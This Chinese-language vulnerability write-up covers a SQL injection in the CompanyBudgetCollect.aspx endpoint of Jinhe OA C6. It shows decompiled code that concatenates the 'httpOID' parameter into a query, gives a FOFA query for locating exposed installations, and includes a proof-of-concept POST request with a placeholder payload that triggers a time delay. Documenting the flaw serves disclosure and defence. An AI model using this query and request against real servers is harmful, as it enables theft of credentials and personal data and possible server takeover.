金和OA CompanyBudgetCollect.aspx SQL注入漏洞


漏洞简介

金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 CompanyBudgetCollect.aspx 接口处存在SQL注入漏洞,攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

影响版本

金和OA C6

fofa语法

app="金和网络-金和OA"

漏洞分析

根据 CompanyBudgetCollect.aspx 的源码,在 bin 目录下查找 JHBase.Web.CostControl.dll 将其进行反编译后找到 CompanyBudgetCollect 的处理逻辑

protected void Page_Load(object sender, EventArgs e)
{
  if (!this.IsPostBack)
  {
    if (!string.IsNullOrEmpty(this.Request["httpOID"]))
    {
      DataTable dataTable = DBOperatorFactory.GetDBOperator().ExecSQLReDataTable("select * from BudgetCollectManage where CollectID = " + this.Request["httpOID"].ToString());
      if (dataTable != null && ((InternalDataCollectionBase) dataTable.Rows).Count > 0)
        ((HtmlInputControl) this.hidYear).Value = dataTable.Rows[0]["BudgetYear"].ToString();
    }
    else

参数httpOID被直接拼接进SQL语句执行,从而造成SQL注入漏洞。

漏洞复现

POST /c6/JHSoft.Web.CostControl/Collect/CompanyBudgetCollect.aspx/ HTTP/1.1
Host: jhsoft.mrxn.net
Content-Type: application/x-www-form-urlencoded

httpOID=SQLI_POC

成功延时 4 秒


手机扫码阅读

金和OA CompanyBudgetCollectEdit.aspx SQL注入漏洞

天锐绿盾审批系统 updateFilePrintParamsD.do、updateFileOutSendParameter.do、updateScreenshotParameter.do、updateBehaviorCtrlParams.do fastjson反序列化漏洞

评 论